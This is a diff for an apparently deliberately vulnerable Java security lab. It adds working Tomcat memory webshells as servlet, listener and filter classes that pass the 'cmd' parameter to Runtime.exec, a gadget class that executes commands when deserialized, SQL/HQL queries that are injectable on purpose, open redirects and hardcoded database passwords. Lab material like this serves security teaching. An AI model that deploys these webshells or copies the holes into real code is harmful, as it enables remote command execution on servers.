@date 2024/03/20 + */ +@Slf4j +@Api(tags = "Listener型内存马") +@Controller +@RequestMapping("/mshell/listener") +public class ListenerMemShellController extends BaseMemShellController { + + @RequestMapping("") + public String index() { + return "vul/mshell/listener"; + } + + @ApiOperation("注入Listener型内存马") + @PostMapping("/inject") + @ResponseBody + public R inject( + @ApiParam("监听器名称") @RequestParam(defaultValue = "evilListener") String listenerName, + @ApiParam("命令参数名") @RequestParam(defaultValue = "cmd") String cmdParam) { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + // 创建恶意Listener + ServletContextListener evilListener = new ServletContextListener() { + @Override + public void contextInitialized(ServletContextEvent sce) { + try { + String cmd = sce.getServletContext().getInitParameter(cmdParam); + if (cmd != null) { + Process process = Runtime.getRuntime().exec(cmd); + InputStream in = process.getInputStream(); + byte[] b = new byte[1024]; + int n; + while ((n = in.read(b)) != -1) { + log.info(new String(b, 0, n)); + } + } + } catch (IOException e) { + log.error("命令执行失败", e); + } + } + + @Override + public void contextDestroyed(ServletContextEvent sce) { + // 在Web应用关闭时执行 + } + }; + + // 获取applicationLifecycleListeners + Field field = StandardContext.class.getDeclaredField("applicationLifecycleListeners"); + field.setAccessible(true); + Object[] listeners = (Object[]) field.get(context); + + // 创建新的监听器数组 + List newListeners = new ArrayList<>(); + if (listeners != null) { + for (Object listener : listeners) { + newListeners.add(listener); + } + } + newListeners.add(evilListener); + + // 更新监听器数组 + field.set(context, newListeners.toArray(new Object[0])); + + log.info("Listener型内存马注入成功,名称: {}, 命令参数: {}", + listenerName, cmdParam); + return R.ok("内存马注入成功").put("data", String.format( + "Listener名称: %s\n命令参数: %s", + listenerName, cmdParam)); + } catch (Exception e) { + log.error("注入失败", e); + return R.error("注入失败:" + e.getMessage()); + } + } + + @ApiOperation("检测Listener型内存马") + @GetMapping("/detect") + @ResponseBody + public R detect() { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + StringBuilder result = new StringBuilder(); + result.append("已注入的监听器列表:\n"); + + // 获取applicationLifecycleListeners + Field field = StandardContext.class.getDeclaredField("applicationLifecycleListeners"); + field.setAccessible(true); + Object[] listeners = (Object[]) field.get(context); + + if (listeners != null) { + for (Object listener : listeners) { + result.append("- 监听器类型: ").append(listener.getClass().getName()) + .append("\n 实例: ").append(listener) + .append("\n"); + } + } else { + result.append("未找到任何监听器\n"); + } + + return R.ok().put("data", result.toString()); + } catch (Exception e) { + log.error("检测失败", e); + return R.error("检测失败:" + e.getMessage()); + } + } +} diff --git a/src/main/java/top/whgojp/modules/mshell/controller/ServletMemShellController.java b/src/main/java/top/whgojp/modules/mshell/controller/ServletMemShellController.java new file mode 100644 index 0000000..622bbb2 --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/controller/ServletMemShellController.java @@ -0,0 +1,133 @@ +package top.whgojp.modules.mshell.controller; + +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import io.swagger.annotations.ApiParam; +import lombok.extern.slf4j.Slf4j; +import org.apache.catalina.Container; +import org.apache.catalina.Context; +import org.apache.catalina.Wrapper; +import org.apache.catalina.core.StandardContext; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.servlet.Servlet; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; + +/** + * Servlet型内存马 + * 通过动态注册Servlet实现命令执行 + * + * @author whgojp + * @date 2024/03/20 + */ +@Slf4j +@Api(tags = "Servlet型内存马") +@Controller +@RequestMapping("/mshell/servlet") +public class ServletMemShellController extends BaseMemShellController { + + @RequestMapping("") + public String index() { + return "vul/mshell/servlet"; + } + + @ApiOperation("注入Servlet型内存马") + @PostMapping("/inject") + @ResponseBody + public R inject( + @ApiParam("Servlet名称") @RequestParam(defaultValue = "evilServlet") String servletName, + @ApiParam("URL Pattern") @RequestParam(defaultValue = "/evil") String urlPattern, + @ApiParam("命令参数名") @RequestParam(defaultValue = "cmd") String cmdParam) { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + // 创建恶意Servlet + Servlet evilServlet = new HttpServlet() { + @Override + protected void doGet(HttpServletRequest req, HttpServletResponse resp) + throws ServletException, IOException { + String cmd = req.getParameter(cmdParam); + if (cmd != null) { + try { + Process process = Runtime.getRuntime().exec(cmd); + InputStream in = process.getInputStream(); + byte[] b = new byte[1024]; + int n; + while ((n = in.read(b)) != -1) { + resp.getOutputStream().write(b, 0, n); + } + resp.getOutputStream().flush(); + return; + } catch (IOException e) { + log.error("命令执行失败", e); + resp.getWriter().println("Error: " + e.getMessage()); + return; + } + } + resp.getWriter().write("Evil Servlet"); + } + }; + + // 创建Wrapper并设置Servlet + Wrapper wrapper = ((StandardContext) context).createWrapper(); + wrapper.setName(servletName); + wrapper.setServlet(evilServlet); + wrapper.setServletClass(evilServlet.getClass().getName()); + + // 添加Wrapper到Context + context.addChild(wrapper); + context.addServletMappingDecoded(urlPattern, servletName); + + log.info("Servlet型内存马注入成功,名称: {}, URL Pattern: {}, 命令参数: {}", + servletName, urlPattern, cmdParam); + return R.ok("内存马注入成功").put("data", String.format( + "Servlet名称: %s\nURL Pattern: %s\n命令参数: %s", + servletName, urlPattern, cmdParam)); + } catch (Exception e) { + log.error("注入失败", e); + return R.error("注入失败:" + e.getMessage()); + } + } + + @ApiOperation("检测Servlet型内存马") + @GetMapping("/detect") + @ResponseBody + public R detect() { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + StringBuilder result = new StringBuilder(); + result.append("已注入的Servlet列表:\n"); + + // 获取所有Wrapper + Container[] wrappers = ((StandardContext) context).findChildren(); + for (Container wrapper : wrappers) { + if (wrapper instanceof Wrapper) { + Wrapper w = (Wrapper) wrapper; + result.append("- Servlet名称: ").append(w.getName()) + .append("\n 类型: ").append(w.getServletClass()) + .append("\n URL Pattern: ").append(context.findServletMapping(w.getName())) + .append("\n"); + } + } + + return R.ok().put("data", result.toString()); + } catch (Exception e) { + log.error("检测失败", e); + return R.error("检测失败:" + e.getMessage()); + } + } +} diff --git a/src/main/java/top/whgojp/modules/mshell/entity/MaliciousFilter.java b/src/main/java/top/whgojp/modules/mshell/entity/MaliciousFilter.java new file mode 100644 index 0000000..538ae53 --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/entity/MaliciousFilter.java @@ -0,0 +1,49 @@ +package top.whgojp.modules.mshell.entity; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +public class MaliciousFilter implements Filter { + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + // 初始化逻辑 + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) + throws IOException, ServletException { + + HttpServletRequest httpRequest = (HttpServletRequest) request; + HttpServletResponse httpResponse = (HttpServletResponse) response; + + // 获取请求中的 cmd 参数 + String command = httpRequest.getParameter("cmd"); + if (command != null && !command.isEmpty()) { + try { + // 执行传入的命令 + executeCommand(command); + } catch (IOException e) { + e.printStackTrace(); + } + } + + // 继续处理请求 + chain.doFilter(request, response); + } + + @Override + public void destroy() { + // 销毁逻辑 + } + + // 执行任意命令 + private void executeCommand(String command) throws IOException { + // 执行用户传入的命令 + System.out.println("Executing command: " + command); + Runtime.getRuntime().exec(command); + } +} + diff --git a/src/main/java/top/whgojp/modules/other/controller/UrlRedirectController.java b/src/main/java/top/whgojp/modules/other/controller/UrlRedirectController.java index c6d4c94..6a64a1a 100644 --- a/src/main/java/top/whgojp/modules/other/controller/UrlRedirectController.java +++ b/src/main/java/top/whgojp/modules/other/controller/UrlRedirectController.java @@ -40,20 +40,20 @@ public String UrlRedirectSafe() { } // 基于Spring MVC的重定向方式 - @ApiOperation(value = "漏洞环境:基于Spring MVC的重定向方式", notes = "Spring MVC应用中常见的重定向方式") + @ApiOperation(value = "漏洞场景:基于Spring MVC的重定向方式", notes = "Spring MVC应用中常见的重定向方式") @GetMapping("/vul1") public String vul1(@RequestParam("url") String url) { return "redirect:" + url; // Spring MVC写法 302临时重定向 } - @ApiOperation(value = "漏洞环境:基于Spring MVC的重定向方式", notes = "使用ModelAndView实现的Spring MVC重定向方式") + @ApiOperation(value = "漏洞场景:基于Spring MVC的重定向方式", notes = "使用ModelAndView实现的Spring MVC重定向方式") @RequestMapping("/vul2") public ModelAndView vul2(@RequestParam("url") String url) { return new ModelAndView("redirect:" + url); // Spring MVC写法 使用ModelAndView 302临时重定向 } // 基于Servlet标准的重定向方式 - @ApiOperation(value = "漏洞环境:基于Servlet标准的重定向方式", notes = "基于Servlet标准的重定向方式") + @ApiOperation(value = "漏洞场景:基于Servlet标准的重定向方式", notes = "基于Servlet标准的重定向方式") @RequestMapping("/vul3") @ResponseBody public static void vul3(HttpServletRequest request, HttpServletResponse response) { @@ -62,7 +62,7 @@ public static void vul3(HttpServletRequest request, HttpServletResponse response response.setHeader("Location", url); } - @ApiOperation(value = "漏洞环境:基于Servlet标准的重定向方式", notes = "基于Servlet标准的重定向方式") + @ApiOperation(value = "漏洞场景:基于Servlet标准的重定向方式", notes = "基于Servlet标准的重定向方式") @RequestMapping("/vul4") @ResponseBody public static void vul4(HttpServletRequest request, HttpServletResponse response) throws IOException { @@ -71,7 +71,7 @@ public static void vul4(HttpServletRequest request, HttpServletResponse response } // 基于Spring注解和状态码的重定向方式 - @ApiOperation(value = "漏洞环境:基于Spring注解和状态码的重定向方式", notes = "使用ResponseEntity设置状态码实现重定向") + @ApiOperation(value = "漏洞场景:基于Spring注解和状态码的重定向方式", notes = "使用ResponseEntity设置状态码实现重定向") @RequestMapping("/vul5") @ResponseBody public ResponseEntity vul5(@RequestParam("url") String url) { @@ -80,7 +80,7 @@ public ResponseEntity vul5(@RequestParam("url") String url) { return new ResponseEntity<>(headers, HttpStatus.FOUND); // 302临时重定向 } - @ApiOperation(value = "漏洞环境:基于Spring注解和状态码的重定向方式", notes = "通过注解设置状态码实现重定向") + @ApiOperation(value = "漏洞场景:基于Spring注解和状态码的重定向方式", notes = "通过注解设置状态码实现重定向") @GetMapping("/vul6") @ResponseStatus(HttpStatus.FOUND) // 302临时重定向 public void vul6(HttpServletRequest request, HttpServletResponse response) throws IOException { diff --git a/src/main/java/top/whgojp/modules/spel/controller/SPELController.java b/src/main/java/top/whgojp/modules/spel/controller/SPELController.java index 6e7e828..172c6b7 100644 --- a/src/main/java/top/whgojp/modules/spel/controller/SPELController.java +++ b/src/main/java/top/whgojp/modules/spel/controller/SPELController.java @@ -32,7 +32,7 @@ public String spel() { return "vul/spel/spel"; } - @ApiOperation(value = "漏洞环境:原生漏洞环境", notes = "当参数未经过滤时,攻击者可以注入恶意的SPEL表达式,执行任意代码") + @ApiOperation(value = "漏洞场景:原生漏洞场景", notes = "当参数未经过滤时,攻击者可以注入恶意的SPEL表达式,执行任意代码") @ResponseBody @ApiImplicitParam(name = "ex", value = "表达式", dataType = "String", paramType = "query", dataTypeClass = String.class) @GetMapping("/vul") diff --git a/src/main/java/top/whgojp/modules/springboot/controller/SpringBootController.java b/src/main/java/top/whgojp/modules/springboot/controller/SpringBootController.java index 20ffe20..aa0ed81 100644 --- a/src/main/java/top/whgojp/modules/springboot/controller/SpringBootController.java +++ b/src/main/java/top/whgojp/modules/springboot/controller/SpringBootController.java @@ -2,9 +2,20 @@ import io.swagger.annotations.Api; import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import top.whgojp.common.utils.R; +import top.whgojp.modules.springboot.entity.MaliciousObject; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.sql.*; /** * @description java专题-SpringBoot相关漏洞 @@ -23,4 +34,82 @@ public String springboot() { return "vul/springboot/springboot"; } + @Value("${spring.datasource.url:jdbc:mysql://localhost:13306/JavaSecLab}") + String url = ""; + @Value("${spring.datasource.username:jdbc:root}") + String username = ""; + @Value("${spring.datasource.password:jdbc:QWE123qwe}") + String password = ""; + + @RequestMapping("/jdbc") + @ResponseBody + public R jdbc() { + try { + Connection conn = DriverManager.getConnection(url, username, password); + String selectQuery = "SELECT malicious_object FROM objects WHERE id = 1"; + Statement stmt = conn.createStatement(); + ResultSet rs = stmt.executeQuery(selectQuery); + + if (rs.next()) { + byte[] maliciousObjectBytes = rs.getBytes("malicious_object"); + // 反序列化恶意对象 + ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(maliciousObjectBytes); + ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); + + MaliciousObject maliciousObject = (MaliciousObject) objectInputStream.readObject(); + + log.info("触发MYSQL-JBDC反序列化漏洞!"); + } + + stmt.close(); + conn.close(); + + } catch (Exception e) { + e.printStackTrace(); + } + return R.ok("触发MYSQL-JBDC反序列化漏洞!"); + } + + @RequestMapping("/insert") + @ResponseBody + public R insertMaliciousObject(@RequestParam String command) { + try { + MaliciousObject maliciousObject = new MaliciousObject(command); + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(maliciousObject); + byte[] objectBytes = baos.toByteArray(); + + Connection conn = DriverManager.getConnection(url, username, password); + String insertQuery = "INSERT INTO objects (id, malicious_object) VALUES (?, ?)"; + PreparedStatement stmt = conn.prepareStatement(insertQuery); + stmt.setInt(1, 1); + stmt.setBytes(2, objectBytes); + stmt.executeUpdate(); + stmt.close(); + conn.close(); + + return R.ok("恶意对象插入成功!"); + } catch (Exception e) { + e.printStackTrace(); + return R.error("恶意对象插入失败(主键冲突的话在请数据库中删除该记录):" + e.getMessage()); + } + } + + @RequestMapping("/vul") + @ResponseBody + public R vul(String url, String username, String password) { + + try { +// Class.forName("com.mysql.jdbc.Driver"); + Class.forName("com.mysql.cj.jdbc.Driver"); + DriverManager.getConnection(url,username,password); + } catch (Exception e) { + e.printStackTrace(); + } + return R.ok(); + } + + } diff --git a/src/main/java/top/whgojp/modules/springboot/entity/MaliciousObject.java b/src/main/java/top/whgojp/modules/springboot/entity/MaliciousObject.java new file mode 100644 index 0000000..34ed3cd --- /dev/null +++ b/src/main/java/top/whgojp/modules/springboot/entity/MaliciousObject.java @@ -0,0 +1,21 @@ +package top.whgojp.modules.springboot.entity; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.Serializable; + +public class MaliciousObject implements Serializable { + private String command; + + public MaliciousObject(String command) { + this.command = command; + } + + private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + String command = (String) in.readObject(); + if (command != null) { + Runtime.getRuntime().exec(command); + } + } + +} diff --git a/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceConfig.java b/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceConfig.java new file mode 100644 index 0000000..878f1e3 --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceConfig.java @@ -0,0 +1,112 @@ +package top.whgojp.modules.sqli.config; + +import com.alibaba.druid.pool.DruidDataSource; +import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Primary; +import org.springframework.jdbc.datasource.lookup.AbstractRoutingDataSource; +import org.springframework.orm.jpa.JpaTransactionManager; +import org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean; +import org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter; + +import javax.persistence.EntityManagerFactory; +import javax.sql.DataSource; +import java.util.HashMap; +import java.util.Map; + +@Configuration +public class DynamicDataSourceConfig { + + @Bean + @Primary + @ConfigurationProperties("spring.datasource.primary") + public DataSourceProperties dataSourceProperties() { + return new DataSourceProperties(); + } + + @Bean + @Primary + public DataSource dataSource(DataSourceProperties dataSourceProperties) { + AbstractRoutingDataSource dataSource = new AbstractRoutingDataSource() { + @Override + protected Object determineCurrentLookupKey() { + return DynamicDataSourceContextHolder.getDataSourceType(); + } + }; + + DruidDataSource primaryDataSource = new DruidDataSource(); + primaryDataSource.setUrl(dataSourceProperties.getUrl()); + primaryDataSource.setUsername(dataSourceProperties.getUsername()); + primaryDataSource.setPassword(dataSourceProperties.getPassword()); + primaryDataSource.setDriverClassName(dataSourceProperties.getDriverClassName()); + primaryDataSource.setInitialSize(5); + primaryDataSource.setMinIdle(5); + primaryDataSource.setMaxActive(20); + primaryDataSource.setMaxWait(30000); + primaryDataSource.setValidationQuery("SELECT 1 FROM DUAL"); + primaryDataSource.setTestWhileIdle(true); + primaryDataSource.setTimeBetweenEvictionRunsMillis(60000); + primaryDataSource.setMinEvictableIdleTimeMillis(300000); + primaryDataSource.setPoolPreparedStatements(true); + primaryDataSource.setMaxPoolPreparedStatementPerConnectionSize(20); + primaryDataSource.setLogAbandoned(true); + primaryDataSource.setRemoveAbandoned(true); + primaryDataSource.setRemoveAbandonedTimeout(180); + + DruidDataSource secondaryDataSource = new DruidDataSource(); + secondaryDataSource.setUrl(dataSourceProperties.getUrl()); + secondaryDataSource.setUsername(dataSourceProperties.getUsername()); + secondaryDataSource.setPassword(dataSourceProperties.getPassword()); + secondaryDataSource.setDriverClassName(dataSourceProperties.getDriverClassName()); + secondaryDataSource.setInitialSize(5); + secondaryDataSource.setMinIdle(5); + secondaryDataSource.setMaxActive(20); + secondaryDataSource.setMaxWait(30000); + secondaryDataSource.setValidationQuery("SELECT 1 FROM DUAL"); + secondaryDataSource.setTestWhileIdle(true); + secondaryDataSource.setTimeBetweenEvictionRunsMillis(60000); + secondaryDataSource.setMinEvictableIdleTimeMillis(300000); + secondaryDataSource.setPoolPreparedStatements(true); + secondaryDataSource.setMaxPoolPreparedStatementPerConnectionSize(20); + secondaryDataSource.setLogAbandoned(true); + secondaryDataSource.setRemoveAbandoned(true); + secondaryDataSource.setRemoveAbandonedTimeout(180); + + Map targetDataSources = new HashMap<>(); + targetDataSources.put("primary", primaryDataSource); + targetDataSources.put("secondary", secondaryDataSource); + + dataSource.setTargetDataSources(targetDataSources); + dataSource.setDefaultTargetDataSource(primaryDataSource); + + return dataSource; + } + + @Bean + @Primary + public LocalContainerEntityManagerFactoryBean entityManagerFactory(DataSource dataSource) { + LocalContainerEntityManagerFactoryBean em = new LocalContainerEntityManagerFactoryBean(); + em.setDataSource(dataSource); + em.setPackagesToScan("top.whgojp.modules.sqli.entity"); + + HibernateJpaVendorAdapter vendorAdapter = new HibernateJpaVendorAdapter(); + em.setJpaVendorAdapter(vendorAdapter); + + Map properties = new HashMap<>(); + properties.put("hibernate.hbm2ddl.auto", "update"); + properties.put("hibernate.dialect", "org.hibernate.dialect.MySQL8Dialect"); + em.setJpaPropertyMap(properties); + + return em; + } + + @Bean(name = "jpaTransactionManager") + @Primary + public JpaTransactionManager jpaTransactionManager(EntityManagerFactory emf) { + JpaTransactionManager transactionManager = new JpaTransactionManager(); + transactionManager.setEntityManagerFactory(emf); + return transactionManager; + } +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceContextHolder.java b/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceContextHolder.java new file mode 100644 index 0000000..02f50cf --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceContextHolder.java @@ -0,0 +1,17 @@ +package top.whgojp.modules.sqli.config; + +public class DynamicDataSourceContextHolder { + private static final ThreadLocal contextHolder = new ThreadLocal<>(); + + public static void setDataSourceType(String dataSourceType) { + contextHolder.set(dataSourceType); + } + + public static String getDataSourceType() { + return contextHolder.get(); + } + + public static void clearDataSourceType() { + contextHolder.remove(); + } +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/config/HibernateConfig.java b/src/main/java/top/whgojp/modules/sqli/config/HibernateConfig.java new file mode 100644 index 0000000..24c7871 --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/config/HibernateConfig.java @@ -0,0 +1,52 @@ +package top.whgojp.modules.sqli.config; + +import org.hibernate.SessionFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.orm.hibernate5.HibernateTemplate; +import org.springframework.orm.hibernate5.HibernateTransactionManager; +import org.springframework.orm.hibernate5.LocalSessionFactoryBean; +import org.springframework.transaction.PlatformTransactionManager; + +import javax.sql.DataSource; +import java.util.Properties; + +@Configuration +public class HibernateConfig { + + @Autowired + private DataSource dataSource; + + @Bean + public LocalSessionFactoryBean sessionFactory() { + LocalSessionFactoryBean sessionFactory = new LocalSessionFactoryBean(); + sessionFactory.setDataSource(dataSource); + sessionFactory.setPackagesToScan("top.whgojp.modules.sqli.entity"); + + Properties hibernateProperties = new Properties(); + hibernateProperties.setProperty("hibernate.dialect", "org.hibernate.dialect.MySQLDialect"); + hibernateProperties.setProperty("hibernate.show_sql", "true"); + hibernateProperties.setProperty("hibernate.format_sql", "true"); + hibernateProperties.setProperty("hibernate.hbm2ddl.auto", "update"); + hibernateProperties.setProperty("hibernate.current_session_context_class", "thread"); + hibernateProperties.setProperty("hibernate.transaction.jta.platform", "org.hibernate.engine.transaction.jta.platform.internal.NoJtaPlatform"); + + sessionFactory.setHibernateProperties(hibernateProperties); + return sessionFactory; + } + + @Bean + public HibernateTemplate hibernateTemplate(SessionFactory sessionFactory) { + HibernateTemplate hibernateTemplate = new HibernateTemplate(); + hibernateTemplate.setSessionFactory(sessionFactory); + return hibernateTemplate; + } + + @Bean + public PlatformTransactionManager transactionManager(SessionFactory sessionFactory) { + HibernateTransactionManager transactionManager = new HibernateTransactionManager(); + transactionManager.setSessionFactory(sessionFactory); + return transactionManager; + } +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/controller/HibernateController.java b/src/main/java/top/whgojp/modules/sqli/controller/HibernateController.java index 5d3c432..16c04d1 100644 --- a/src/main/java/top/whgojp/modules/sqli/controller/HibernateController.java +++ b/src/main/java/top/whgojp/modules/sqli/controller/HibernateController.java @@ -2,23 +2,14 @@ import io.swagger.annotations.*; import lombok.extern.slf4j.Slf4j; -import org.hibernate.Session; -import org.hibernate.SessionFactory; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.orm.hibernate5.HibernateTemplate; import org.springframework.stereotype.Controller; +import org.springframework.transaction.annotation.Transactional; import org.springframework.web.bind.annotation.*; import top.whgojp.common.utils.R; -import top.whgojp.modules.sqli.entity.Hsqli; import top.whgojp.modules.sqli.entity.Sqli; -import top.whgojp.modules.system.entity.User; -import javax.transaction.SystemException; -import javax.transaction.Transaction; -import javax.transaction.Transactional; -import java.sql.Connection; -import java.sql.DriverManager; -import java.sql.ResultSet; -import java.sql.Statement; import java.util.List; /** @@ -27,104 +18,116 @@ * @email: whgojp@foxmail.com * @Date: 2024/4/28 10:13 */ -@Api(value = "HibernateController",tags = "SQL注入-Hibernate") +@Api(value = "HibernateController", tags = "SQL注入-Hibernate") @Slf4j @Controller @RequestMapping("/sqli/hibernate") public class HibernateController { @RequestMapping("") - public String sqliJdbc(){ + public String sqliHibernate() { return "vul/sqli/hibernate"; } - @Autowired - private SessionFactory sessionFactory; // 依赖注入 Hibernate SessionFactory + @Autowired(required = true) + private HibernateTemplate hibernateTemplate; + String message = ""; - @ApiOperation(value = "漏洞环境:Hibernate-原生SQL语句拼接", notes = "演示SQL注入风险,模拟原生SQL语句动态拼接,参数未进行任何处理,存在严重安全风险") - @GetMapping("/vul") - @ApiImplicitParams({ - @ApiImplicitParam(name = "type", value = "操作类型", required = true, dataType = "String", paramType = "query", dataTypeClass = String.class), - @ApiImplicitParam(name = "id", value = "用户ID", dataType = "String", paramType = "query", dataTypeClass = String.class), - @ApiImplicitParam(name = "username", value = "用户名", dataType = "String", paramType = "query", dataTypeClass = String.class), - @ApiImplicitParam(name = "password", value = "密码", dataType = "String", paramType = "query", dataTypeClass = String.class) - }) + @RequestMapping("/vul1") @ResponseBody - @Transactional // 使用Spring的事务管理 - public R vul( - @ApiParam(name = "type", value = "操作类型", required = true) @RequestParam String type, - @ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) String id, - @ApiParam(name = "username", value = "用户名") @RequestParam(required = false) String username, - @ApiParam(name = "password", value = "密码") @RequestParam(required = false) String password) { - - Session session = sessionFactory.getCurrentSession(); // 获取当前 Session - String message; + @ApiOperation(value = "原生SQL注入场景") + @Transactional(rollbackFor = Exception.class) + public R vul1(@RequestParam String username) { try { - switch (type) { - case "add": // 插入操作,存在SQL注入风险点 - // 新建用户对象并设置属性(未对输入进行任何过滤) - Hsqli newHsqli = new Hsqli(); - newHsqli.setUsername(username); - newHsqli.setPassword(password); - - // 直接保存对象到数据库 - session.save(newHsqli); - message = "数据插入成功 username:" + username + " password:" + password; // 直接拼接输出 - log.info(message); - return R.ok(message); - - case "delete": // 删除操作,注意此处可能引发SQL注入 - Hsqli deleteHsqli = session.get(Hsqli.class, Long.parseLong(id)); // 使用用户传入的id(未过滤) - if (deleteHsqli != null) { - session.delete(deleteHsqli); - message = "数据删除成功"; - } else { - message = "数据删除失败 用户ID:" + id + " 不存在!"; - } - log.info(message); - return R.ok(message); - - case "update": // 更新操作,存在SQL注入风险点 - Hsqli updateHsqli = session.get(Hsqli.class, Long.parseLong(id)); // 使用用户输入的id - if (updateHsqli != null) { - // 设置更新后的值(未对输入值进行过滤或校验) - updateHsqli.setUsername(username); - updateHsqli.setPassword(password); - session.update(updateHsqli); - message = "数据更新成功"; - } else { - message = "数据更新失败 用户ID不存在!"; - } - log.info(message); - return R.ok(message); - - case "select": // 查询操作,可能通过ID引入SQL注入 - Hsqli selectHsqli = session.get(Hsqli.class, Long.parseLong(id)); // 使用传入ID直接查询 - if (selectHsqli != null) { - message = "查询成功,用户名:" + selectHsqli.getUsername() + " 密码:" + selectHsqli.getPassword(); - } else { - message = "用户ID不存在"; - } - log.info(message); - return R.ok(message); - - default: - // 当type字段未匹配时,返回错误信息 - return R.error("type字段有误:传输数据异常,请检查^_^"); + String sql = "SELECT * FROM sqli WHERE username = '" + username + "'"; + List results = hibernateTemplate.execute(session -> + session.createNativeQuery(sql) + .addScalar("id", org.hibernate.type.IntegerType.INSTANCE) + .addScalar("username", org.hibernate.type.StringType.INSTANCE) + .addScalar("password", org.hibernate.type.StringType.INSTANCE) + .list() + ); + if (results == null || results.isEmpty()) { + return R.error("未找到记录"); } - } catch (NumberFormatException e) { - log.error("ID格式错误:" + e.getMessage()); - return R.error("ID格式错误:" + e.getMessage()); + StringBuilder sb = new StringBuilder(); + sb.append("查询成功,找到 ").append(results.size()).append(" 条记录\n"); + for (Object[] row : results) { + sb.append("ID: ").append(row[0]) + .append(", 用户名: ").append(row[1]) + .append(", 密码: ").append(row[2]) + .append("\n"); + } + message = sb.toString(); + log.info(message); + return R.ok(message); } catch (Exception e) { - log.error("操作失败:" + e.toString()); - return R.error(e.toString()); + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); } } - - @GetMapping("/safe") - public R safe(){ - return R.ok(); + @RequestMapping("/vul2") + @ResponseBody + @ApiOperation(value = "HQL注入场景") + @Transactional(rollbackFor = Exception.class) + public R vul2(@RequestParam String username) { + try { + String hql = "FROM Sqli WHERE username = '" + username + "'"; + List results = hibernateTemplate.execute(session -> + session.createQuery(hql).list() + ); + if (results == null || results.isEmpty()) { + return R.error("未找到记录"); + } + StringBuilder sb = new StringBuilder(); + sb.append("查询成功,找到 ").append(results.size()).append(" 条记录\n"); + for (Sqli sqli : results) { + sb.append("ID: ").append(sqli.getId()) + .append(", 用户名: ").append(sqli.getUsername()) + .append(", 密码: ").append(sqli.getPassword()) + .append("\n"); + } + message = sb.toString(); + log.info(message); + return R.ok(message); + } catch (Exception e) { + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); + } } - + @RequestMapping("/safe") + @ResponseBody + @ApiOperation(value = "安全查询场景") + @Transactional(rollbackFor = Exception.class) + public R safe(@RequestParam String username) { + try { + String hql = "FROM Sqli WHERE username = :username"; + List results = hibernateTemplate.execute(session -> + session.createQuery(hql) + .setParameter("username", username) + .list() + ); + if (results == null || results.isEmpty()) { + return R.error("未找到记录"); + } + StringBuilder sb = new StringBuilder(); + sb.append("查询成功,找到 ").append(results.size()).append(" 条记录\n"); + for (Sqli sqli : results) { + sb.append("ID: ").append(sqli.getId()) + .append(", 用户名: ").append(sqli.getUsername()) + .append(", 密码: ").append(sqli.getPassword()) + .append("\n"); + } + message = sb.toString(); + log.info(message); + return R.ok(message); + } catch (Exception e) { + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); + } + } } diff --git a/src/main/java/top/whgojp/modules/sqli/controller/JPAController.java b/src/main/java/top/whgojp/modules/sqli/controller/JPAController.java index 3ddf9d5..2c1ebc9 100644 --- a/src/main/java/top/whgojp/modules/sqli/controller/JPAController.java +++ b/src/main/java/top/whgojp/modules/sqli/controller/JPAController.java @@ -1,24 +1,102 @@ package top.whgojp.modules.sqli.controller; -import io.swagger.annotations.Api; -import io.swagger.annotations.ApiOperation; +import io.swagger.annotations.*; +import lombok.extern.slf4j.Slf4j; import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; 